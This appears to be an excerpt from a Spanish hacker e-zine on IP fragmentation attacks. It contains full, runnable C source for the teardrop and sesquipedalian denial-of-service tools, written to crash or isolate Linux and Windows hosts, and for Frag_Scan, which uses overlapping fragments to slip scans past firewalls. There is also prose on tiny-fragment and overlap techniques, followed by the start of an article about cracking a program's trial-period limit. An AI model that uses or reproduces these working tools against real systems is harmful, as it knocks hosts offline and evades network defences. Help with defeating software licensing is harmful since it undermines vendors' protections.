#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/

void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;

fprintf(stderr, "teardrop route|daemon9\n\n");

if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}

while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;

fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");

for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}

/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/


void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/

packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}

/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/

p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);

if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}

u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}

void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}


Sesquipedalian (¨?)
--------------

Este es un problema relativamente nuevo, por lo que es probable que aun
funcione por ahi (asi que sed buenos, eh?). Afecta a los kernels de Linux
comprendidos entre el 2.1.89 y el 2.2.3, en el 2.2.4 ya esta resuelto.

De lo que se trata es de meter fragmentos con offset 0 y tama¤o 0 en la lista
de conexiones que el host esta procesando en ese momento. Con esto se
consigue que el kernel no libere esas entradas en la cache de conexiones.
Una vez que la cache este llena (tiene 4096 entradas al menos), las
comunicaciones IP del host no podran mantenerse correctamente y se le aislara.

Este es el codigo:

/*
* sesquipedalian.c - Demonstrates a DoS bug in Linux 2.1.89 - 2.2.3
*
* by horizon <jmcdonal@unf.edu>
*
* This sends a series of IP fragments such that a 0 length fragment is first
* in the fragment list. This causes a reference count on the cached routing
* information for that packet's originator to be incremented one extra time.
* This makes it impossible for the kernel to deallocate the destination entry
* and remove it from the cache.
*
* If we send enough fragments such that there are at least 4096 stranded
* dst cache entries, then the target machine will no longer be able to
* allocate new cache entries, and IP communication will be effectively
* disabled. You will need to set the delay such that packets are not being
* dropped, and you will probably need to let the program run for a few
* minutes to have the full effect. This was written for OpenBSD and Linux.
*
* Thanks to vacuum, colonwq, duke, rclocal, sygma, and antilove for testing.
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

struct my_ip_header
{
unsigned char ip_hl:4, /* header length */
ip_v:4; /* version */
unsigned char ip_tos;

  
/* type of service */
unsigned short ip_len; /* total length */
unsigned short ip_id; /* identification */
unsigned short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
unsigned char ip_ttl; /* time to live */
unsigned char ip_p; /* protocol */
unsigned short ip_sum; /* checksum */
unsigned long ip_src, ip_dst; /* source and dest address */
};

struct my_udp_header
{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_ulen;
unsigned short uh_sum;
};

#define IHLEN (sizeof (struct my_ip_header))
#define UHLEN (sizeof (struct my_udp_header))

#ifdef __OpenBSD__
#define EXTRA 8
#else
#define EXTRA 0
#endif

unsigned short checksum(unsigned short *data,unsigned short length)
{
register long value;
u_short i;

for(i=0;i<(length>>1);i++)
value+=data[i];

if((length&1)==1)
value+=(data[i]<<8);

value=(value&65535)+(value>>16);

return(~value);
}

unsigned long resolve( char *hostname)
{
long result;
struct hostent *hp;

if ((result=inet_addr(hostname))==-1)
{
if ((hp=gethostbyname(hostname))==0)
{
fprintf(stderr,"Can't resolve target.\n");
exit(1);
}
bcopy(hp->h_addr,&result,4);
}
return result;
}

void usage(void)
{
fprintf(stderr,"usage: ./sqpd [-s sport] [-d dport] [-n count] [-u delay] source target\n");
exit(0);
}


void sendem(int s, unsigned long source, unsigned long dest,
unsigned short sport, unsigned short dport)
{
static char buffer[8192];
struct my_ip_header *ip;
struct my_udp_header *udp;
struct sockaddr_in sa;

bzero(&sa,sizeof(struct sockaddr_in));
sa.sin_family=AF_INET;
sa.sin_port=htons(sport);
sa.sin_addr.s_addr=dest;

bzero(buffer,IHLEN+32);

ip=(struct my_ip_header *)buffer;
udp=(struct my_udp_header *)&(buffer[IHLEN]);

ip->ip_v = 4;
ip->ip_hl = IHLEN >>2;
ip->ip_tos = 0;
ip->ip_id = htons(random() & 0xFFFF);
ip->ip_ttl = 142;
ip->ip_p = IPPROTO_UDP;
ip->ip_src = source;
ip->ip_dst = dest;
udp->uh_sport = htons(sport);
udp->uh_dport = htons(dport);
udp->uh_ulen = htons(64-UHLEN);
udp->uh_sum = 0;

/* Our first fragment will have an offset of 0, and be 32 bytes
long. This gets added as the only element in the fragment
list. */


ip->ip_len = htons(IHLEN+32);
ip->ip_off = htons(IP_MF);
ip->ip_sum = 0;
ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);

if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}

/* Our second fragment will have an offset of 0, and a 0 length.
This gets added to the list before our previous fragment,
making it first in line. */


ip->ip_len = htons(IHLEN);
ip->ip_off = htons(IP_MF);
ip->ip_sum = 0;
ip->ip_sum = checksum((u_short *)buffer,IHLEN);

if (sendto(s,buffer,IHLEN+EXTRA,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}

/* Our third and final frag has an offset of 4 (32 bytes), and a
length of 32 bytes. This passes our three frags up to ip_glue. */


ip->ip_len = htons(IHLEN+32);
ip->ip_off = htons(32/8);
ip->ip_sum = 0;
ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);

if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}

int main(int argc, char **argv)
{
int sock;
int on=1,i;
unsigned long source, dest;
unsigned short sport=53, dport=16384;
int delay=20000, count=15000;

if (argc<3)
usage();

while ((i=getopt(argc,argv,"s:d:n:u:"))!=-1)
{
switch (i)
{
case 's': sport=atoi(optarg);
break;
case 'd': dport=atoi(optarg);
break;
case 'n': count=atoi(optarg);
break;
case 'u': delay=atoi(optarg);
break;
default: usage();
}
}

argc-=optind;
argv+=optind;

source=resolve(argv[0]);
dest=resolve(argv[1]);

srandom(time((time_t)0)*getpid());

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("socket");
exit(1);
}

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
{
perror("setsockopt: IP_HDRINCL");
exit(1);
}

fprintf(stdout,"\nStarting attack on %s ...",argv[1]);

for (i=0; i<count; i++)
{
sendem(sock,source+htonl(i),dest,sport,dport);
if (!(i%2))
usleep(delay);
if (!(i%100))
{
if (!(i%2000))
fprintf(stdout,"\n");
fprintf(stdout,".");
fflush(stdout);
}
}

fprintf(stdout,"\nDone.\n");
exit(1);
}

Hasta aqui el DoS. Aunque hay muchos mas que surgieron despues del teardrop
(teardrop modificado, bonk/boink, syndrop, etc) y puede que surjan otros...


4.2.- Bypass firewalls

Como vimos antes, los firewalls observan los campos source y destination
address de la cabecera IP, y los campos source y destination port de la
cabecera TCP o UDP (segun el caso). Veamos la forma de un datagrama normal:

+--------------+-----------------------------+-------- ---+
| Cabecera IP | Cabecera TCP o UDP u otros | Datos ... |
+--------------+-----------------------------+-------- ---+

Sabemos que las direcciones origen y destino se encuentran al final de la
cabecera IP (si no hay opciones), pero donde estan los puertos origen y
destino? Veamos:

+-------------------------------- RFC793 ------------------------------------+

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

TCP Header Format

+-------------------------------- RFC793 ------------------------------------+

+-------------------------------- RFC768 ------------------------------------+

0 7 8 15 16 23 24 31
+--------+--------+--------+--------+
| Source | Destination |
| Port | Port |
+--------+--------+--------+--------+
| | |
| Length | Checksum |
+--------+--------+--------+--------+
|
| data octets ...
+---------------- ...

User Datagram Header Format

+-------------------------------- RFC768 ------------------------------------+

Como ves los campos de los puertos estan al comienzo de la cabecera, siendo
cada uno de ellos de 16 bits.

Lo que debemos preguntarnos ahora es como reacciona un firewall cuando, en
lugar de llegarle un datagrama completo, le llega fragmentado. Una primera
solucion bastante logica es aplicar las restricciones al primer datagrama,
aquel que tenga FO=0 (y MF=1 claro), ya que sera en ese en el que se
encuentre la cabecera TCP o UDP. Aplicando al resto de fragmentos el resultado
que se haya obtenido con el primero (dejarlo pasar o 'quemarlo'). Puede que
algun fragmento llegue a la red por otro gateway, pero bastara con que se
descarten (si es necesario) algunos para que el datagrama no se pueda
reensamblar, y sea efectivamente filtrado.


Tiny fragments
--------------

Este ataque se ha hecho bastante popular desde que Fyodor lo implemento en
su escaneador nmap.

Lo que se pretende aqui es mandar fragmentos lo suficientemente peque¤os como
para que ciertas partes de la cabecera TCP (no se usa, en principio, con
paquetes UDP) queden fuera del primer fragmento.

El tama¤o minimo de datos que puede llevar un fragmento es de 8 bytes
(RFC791); en ese fragmento entrarian los puertos origen y destino, pero
quedarian fuera otros muchos campos de la cabecera. Cualquier restriccion que
dependa de esos campos no podra ser chequeada y el paquete pasara.

En el caso anterior (8 bytes de datos) quedarian "fuera" (para el segundo
fragmento) los flags de la cabecera TCP, con lo que no se podran chequear los
bits SYN y ACK para comprobar que se trata de un paquete de peticion de
conexion, y, por lo tanto, podria dejarlo pasar (no siempre...). La forma de
los fragmentos seria:

fragmento1:
IHL = 5 (no hay opcciones)
MF = 1 (quedan mas fragmentos)
FO = 0 (es el primer fragmento)
TL = 28 (mandamos 28 - 20 = 8 bytes de datos)

fragmento2:
IHL = 5
MF = 0 (o 1, depende)
FO = 1 (empezamos en el 8§ byte)
TL = depende (se pueden seguir mandando fragmentos peque¤os, o
mandar el resto del paquete en este).

Las formas de evitar este tipo de ataques son: o bien fijar un tama¤o minimo
para el primer fragmento que fuerce la presencia en el de todos los campos
significativos de la cabecrea; o bien descartar cualquier fragmento que
tenga un FO = 1 (necesario para dejar fuera parte de la cabecera TCP). Al
descartar un fragmento el datagrama no podra ser reensamblado y, por lo tanto,
sera filtrado.

[N. del A: El ejemplo anterior no es el unico posible, debe ser tomado
unicamente como un ejemplo.]


Solapamiento de fragmentos
--------------------------

Como ya vimos en el apartado de reensamblado de paquetes, el RFC791 especifica
que los fragmentos pueden solaparse total o parcialmente, y que en esos casos
los ultimos datos en llegar tienen preferencia y sobreescribiran a los que ya
habia. Tambien dijimos que eso no siempre es asi...

La forma en la que funciona este ataque es la siguiente: se manda un primer
fragmento con datos en la cabecera que permitan pasar las restricciones de
filtrado del firewall, y despues se manda otro que sobreescriba parte del
anterior (puerto destino, flags, ...) para que se adapte a nuestras
"necesidades".

Se podria intentar un ataque similar al anterior, en el que el segundo
fragmento sobreescriba los flags y permita hacer una peticion de conexion.
Se haria de la siguiente forma:

fragmento1:
MF = 1
FO = 0
TL = 200 (por ejemplo)
ACK = '1' (en la cabacera TCP claro)

fragmento2:
MF = 0
FO = 1
TL = 192
ACK = '0' (con SYN = '1', peticion de conexion)

El segundo fragmento, en principio, no seria chequeado ya que el primero ha
pasado el "test", y sobreescribiria al anterior a la hora de reensamblar. En
el caso de que la implementacion no de prioridad a los datos nuevos sobre los
que ya habia, podriamos mandar primero el fragmento2 y despues el fragmento1
y conseguiriamos lo mismo :).

Otro posible ataque (con menos probabilidad de surtir efecto, aunque nunca se
sabe lo actualizado que esta el firewall ;] ) seria intentar sobreescribir el
puerto destino, para ello el segundo fragmento ha de tener tambien un FO = 0,
con lo que solo funcionara si el chequeo se hace al primero, y solo al
primero, de los fragmentos con FO = 0. Ademas el algoritmo de reensamblado
debe dar prioridad a los ultimos datos en llegar, ya que no tenemos la
posibilidad de mandar (como antes) el fragmento2 primero. La ventaja que tiene
este metodo es que si el firewall es vulnerable y permite el libre acceso a
un puerto (basta con un solo puerto), podemos pasarlo y acceder a cualquier
otro que este abierto en el host. Por ejemplo:

fragmento1:
MF = 1
FO = 0
TL = 200
DEST_PORT = 80 (suponiendo que permita acceso a su web. Tambien se
suele usar el puerto 20 ftp-data, que normalmente
permite conexiones. Valdria cualquiera que el
firewall no filtrara.)

fragmento2:
IHL = 5
MF = 1
FO = 0
TL = 20 (IHL) + "lo que se quiera sobreescribir" de datos.)
DEST_PORT = 23 (por ejemplo; en realidad podriamos poner
cualquiera.)

Faltaria un tercer fragmento que completase el datagrama, y si todo va bien ya
tendriamos acceso telnet.

Para evitar este ataque bastaria aplicar la segunda opcion de las dichas en el
caso anterior, descartar cualquier fragmento con FO = 1 y que chequee todos y
cada uno de los que tengan FO = 0. Para los casos en que se esten
transportando otros protocolos, los datos de la cabecera que sean
significativos podrian estar mas adelante, por lo que cada caso debe ser
"estudiado".

El caso que he implementado en este escaneador de puertos es el de
sobreescribir el puerto destino. No existen muchas posibilidades de que sea
efectivo en la practica, pero bastara como ejemplo de implementacion de este
tipo de ataques. Os tendreis que buscar la vida en vuestro caso concreto. En
caso de que rule bien os dara la lista de puertos abiertos *detras* del
firewall; para acceder a ellos tendras que hacer un programa similar a este
que sobreescriba el puerto destino en el SYN y luego continue la negociacion
de la conexion de forma normal (cosa que un SYN-scanner obviamente NO HACE ;])


/*
* Frag_Scan v0.1
* By Lykeios (lykeios@bigfoot.com)
* http://www.bigfoot.com/~lykeios
*
* 04/05/1999
*
* Tipico SYN-scanner al que le he a¤adido la posibilidad de enviar el SYN en
* tres fragmentos para sobreescribir el puerto destino. Aunque tiene el
* potencial de traspasar firewalls, no es muy probable que funcione muy a
* menudo en la actualidad. Mi unica intencion es exponer un ejemplo de la
* forma en la que se implementan este tipo de ataques. Modificarlo para que
* soporte otros es bastante sencillo.
*
* CREDITS : Lo unico que yo he hecho a sido modificar ligeramente el conocido
* SYN-scanner de Halflife para que soporte "un tipo" de ataque basado
* en fragmentacion, por lo que TODOS los creditos van para el.
*
* Por mi parte puedes modificar este codigo en todo o en parte si lo
* consideras necesario. No necesitas mi permiso para nada.
*
* DISCLAIMER : Como dicen los yankis: This program comes as is, no warranty.
* Asi que ya sabes...
*
* Hackea con moderacion. Es TU responsabilidad.
*
*/



#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define MY_IP "127.0.0.1"

void ayuda(char *);
int scan(unsigned short, unsigned int, unsigned int, int);
unsigned short cksum(unsigned short *, int);
void alarma(int);

extern char *optarg;
extern int optind;

int timeout = 0;

void alarma(int s)
{
alarm(0);
timeout = 1;
}


int main(int argc, char *argv[])
{
unsigned short lo_port = 1;
unsigned short hi_port = 1024;
unsigned short magic_port;
int opt, tmp;
int frag_flag = 0;
unsigned short i;
unsigned int target_addr;



if (geteuid() != 0)
{
printf("Necesitas ser root para usar este programa.\n");
exit(0);
}

if (argc < 2)
{
ayuda(argv[0]);
exit(0);
}

while ( (opt = getopt(argc,argv,"f:l:h:") )!= EOF)
{
switch(opt)
{
case 'f': frag_flag++;
magic_port = atoi(optarg);
break;
case 'l': lo_port = atoi(optarg);
break;
case 'h': hi_port = atoi(optarg);
break;
}
}

if (optind == argc)
{
ayuda(argv[0]);
exit(1);
}

printf("Frag_Scan v0.1 ## by Lykeios (04/05/1999).\n");
printf("\nEscaneando el host %s entre los puertos %d y %d.\n",argv[optind], \
lo_port, hi_port);
if (frag_flag)
printf("Usando fragmentacion de IP. Puerto de entrada: %d\n",magic_port);

for (i = lo_port; i <= hi_port; i++)
{
if (!frag_flag)
tmp = scan(i, inet_addr(MY_IP), inet_addr(argv[optind]), 0);
else
tmp = scan(i, inet_addr(MY_IP), inet_addr(argv[optind]), magic_port);
if (tmp == 1)
printf("Puerto %d abierto\n", i);
}
return;
}

void ayuda(char *name)
{
printf("Frag_Scan v0.1 ## by Lykeios (04/05/1999) http://www.bigfoot.com/~lykeios.\n");
printf("\nSintaxis: %s [-f port] [-l puerto_inicio] [-h puerto_fin] host_IP\n",name);
printf("-f : Para usar fragmentacion. 'port' es el puerto de entrada ;]\n");
printf("-l : Fija el primer puerto.\n");
printf("-h : Fija el ultimo puerto.\n");
printf("Por defecto scanea del 1 al 1024.\n\n");
return;
}

int scan(unsigned short port, unsigned int source_addr, \
unsigned int target_addr, int frag)
{
struct tcphdr tcp_go;
struct iphdr iph;

struct pseudo_hdr
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}pseudo_hdr;

int my_socket;

struct packet
{
struct iphdr ip;
struct tcphdr tcp;
unsigned char data[65495];
}packet;

struct packet_go
{
struct iphdr ip;
struct tcphdr tcp;
unsigned char data[200];
}packet_go;

struct sockaddr_in sock_in;

int opt, fragn, size;

bzero((struct packet *) &packet, sizeof(packet));

tcp_go.source = getpid();
tcp_go.dest = htons(port);
tcp_go.seq = getpid();
tcp_go.ack_seq = 0;
tcp_go.res1 = 0;
tcp_go.doff = 5;
tcp_go.res2 = 0;
tcp_go.fin = 0;
tcp_go.syn = 1;
tcp_go.rst = 0;
tcp_go.psh = 0;
tcp_go.ack = 0;
tcp_go.urg = 0;
tcp_go.window = htons(512);
tcp_go.check = 0;
tcp_go.urg_ptr = 0;

pseudo_hdr.source_address = source_addr;
pseudo_hdr.dest_address = target_addr;
pseudo_hdr.placeholder = 0;
pseudo_hdr.protocol = IPPROTO_TCP;
pseudo_hdr.tcp_length = htons(20);

bcopy(&tcp_go, &pseudo_hdr.tcp, 20);
tcp_go.check = cksum((unsigned short *)&pseudo_hdr, 32);

sock_in.sin_family = AF_INET;
sock_in.sin_port = htons(port);
sock_in.sin_addr.s_addr = target_addr;

signal(SIGALRM, alarma);
my_socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (my_socket < 0)
{
printf("Error al abrir el socket.\n");
exit(1);
}

opt = O_NONBLOCK | fcntl(my_socket, F_GETFL); /* Para evitar que read() nos */
fcntl(my_socket, F_SETFL, opt); /* bloquee el scan indefinidamente */

if (!frag)
if (sendto(my_socket, &tcp_go, sizeof(tcp_go), 0, \
(struct sockaddr*)&sock_in, sizeof(sock_in)) == -1)
{
printf("Error: Sendto.\n");
exit(2);
}
else /* Usamos fragmentacion */
{
for (fragn = 1; fragn <= 3; fragn++) /* Mandamos 3 fragmentos */
{
bzero(&iph, sizeof(struct iphdr));
iph.version = 4;
iph.ihl = 5; /* No hay opciones */
iph.tos = 0;
iph.id = getpid(); /* El id sera el mismo para los tres fragmentos */
iph.ttl = 255;
iph.protocol = IPPROTO_TCP;
iph.check = 0;
iph.saddr = source_addr;
iph.daddr = target_addr;

if (fragn == 1)
tcp_go.dest = htons(frag);
else if (fragn == 2)
tcp_go.dest =htons(port); /* Cambiamos el puerto... */

if (fragn != 3) /* En los dos primeros... */
{
/* Hay que recomputar el checksum del tcphdr... */
tcp_go.check = 0;
bcopy(&tcp_go, &pseudo_hdr.tcp, 20);
tcp_go.check = cksum((unsigned short *)&pseudo_hdr, 32);

iph.frag_off = 0x2000; /* MF == 1 && FO == 0 */
iph.tot_len = htons(108); /*iphdr +tcphdr +68 bytes de datos */
size = 108;
}
else
{
iph.frag_off = 0x000b; /* MF == 0 && FO == 11 (byte 88) */
iph.tot_len = htons(152); /* iphdr + 132 bytes de datos */
size = 152;
}

bcopy(&iph, (char *)&packet_go.ip, 20);
if (fragn != 3) bcopy(&tcp_go, (char *)&packet_go.tcp, 20);

if (sendto(my_socket, &packet_go, size, 0, \
(struct sockaddr*)&sock_in, sizeof(sock_in)) == -1)
{
printf("Error: Sendto.\n");
exit(2);
}
}
}

timeout = 0;
alarm(10);
while(1)
{
read(my_socket, (struct packet *)& packet, sizeof(packet));
if (timeout == 1)
{
close(my_socket);
timeout = 0;
return -1;
}
if (packet.tcp.dest == getpid())
{
alarm(0);
close(my_socket);
if (packet.tcp.rst == 1)
return 0;
else
return 1;
}
}
}

unsigned short cksum(unsigned short *ptr, int nbytes)
{
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */

/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/


sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}

/* mop up an odd byte, if necessary */
if (nbytes == 1)
{
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/

sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return(answer);
}

Bien, bien, bien. Yo lo dejo aqui, pero no permitas que los arboles te impidan
ver el bosque; al contrario, lo que pretendo es abrirte los ojos. Como crees
reacionaran los programas de analisis de trafico tcp/ip ante esto? Y los
sniffers? Y los IDS's? (duh?) ;). Suerte!


5.- Prevision de futuro
^^^^^^^^^^^^^^^^^^^^^^^

El futuro que tienen los ataques basados en fragmentacion de IP tal y como los
he explicado aqui, es el mismo que tiene el IPv4. En el momento que se
complete el paso a IPv6 no tendran ningun sentido.

Solo como apunte, dire que en el IPv6 la forma de tratar el problema de MTU's
mas peque¤as se soluciona de diferente manera (aunque sigue siendo con
fragmentacion). La fragmentacion de datagramas nunca se producira ya en los
host intermedios, sino que cuando un datagrama llegue a una red que no pueda
atravesar (por tener una MTU menor que su tama¤o), enviara un ICMP al host
origen indicandole que tiene que fragmentarse y tambien 'el tama¤o que deben
tener esos fragmentos' (es decir, el MTU de esa red). Sera entonces el host
origen el encargado de enviar los fragmentos (y sucesivos datagramas) con el
tama¤o adecuado.

Todos los fragmentos que lleguen a un host destino seran, por lo tanto, de
tama¤o igual a su MTU (excepto quizas el ultimo).

La seguridad de este metodo?? Pues con el tiempo se vera...


Nada mas. Saludos a Marconi y demas gente de El_Liceo, a MORTIIZ, AiNaKeR,
Ripe, Anarion, Jafar, mnm y resto de pe¤a del canal #root ;].


6.- Bibliografia
^^^^^^^^^^^^^^^^

[1] - "Internet Protocol", RFC791, 1981.

[2] - "Security Considerations for IP Fragment Filtering", RFC1858, 1995.

[3] - "Computer Networks", 3¦ edicion, Andrew S. Tanenbaum, 1996.

[4] - "Internetworking with TCP/IP", volumen I, 3¦ edicion, Douglas E. Comer.

[5] - "Internet Protocol, Version 6 (IPv6)", RFC1883, 1995.

[6] - "Packet Fragmentation Attacks", Dr. Cohen.

[7] - "Trabajo sobre TCP/IP", formato .hlp, alibaba.

-=(EOF)=-

-=( 7A69#11 )=--=( art16 )=--=( Bypass checksums )=--=( Marconi )=-

Bueno, antes de nada, presentarme.... respondo al nick de Marconi y soy uno
de los componentes de la pagina:
http://members.xoom.com/el_liceo
Y cualquier duda, comentario, o lo que sea lo podeis mandar a:
inocram@yahoo.com
Soy una de las personas mas despistadas que jamas ha pisado la tierra, asi
que es muy posible que haya tenido alguna equivocacion (o muchas).
Agradeceria a cualquiera que viese algun error me enviase un mail
diciendomelo. Pido perdon anticipadamente por cualkier error, asi como faltas
de ortografia, desvarios mentales, etc.

Y una vez hechas las presentaciones, vamos al tema que nos ocupa.
En este caso vamos a tratar de crackear un programa k, la verdad, no vale ni
para tomar por culo, pero lo importante en este caso no es el ke vamos a
crackear, sino el como lo vamos a hacer. Veremos primero ke el encontrar una
solucion para evitar la restriccion de tiempo es muy sencillo pero al
intentar parchear el ejecutable nos encontramos con ke el programa deja de
funcionar. Y he aki el verdadero objetivo de este articulo, buscar soluciones
ha este problema. Se proponen tres posibles soluciones k nos llevan con mayor
o menor esfuerzo al crackeo satisfactorio del programa... creo k esto es
suficiente para k os hagais una idea del contenido ke vais a encontrar en
este articulo....pasemos al indice :)

1.- Lista de cosas ke necesitamos.
2.- La victima.
2.1.- Presentacion de la victima.
2.2.- Acerca de T.U.G. by [yAtEs], agosto del 99.
3.- El problema del periodo de prueba.
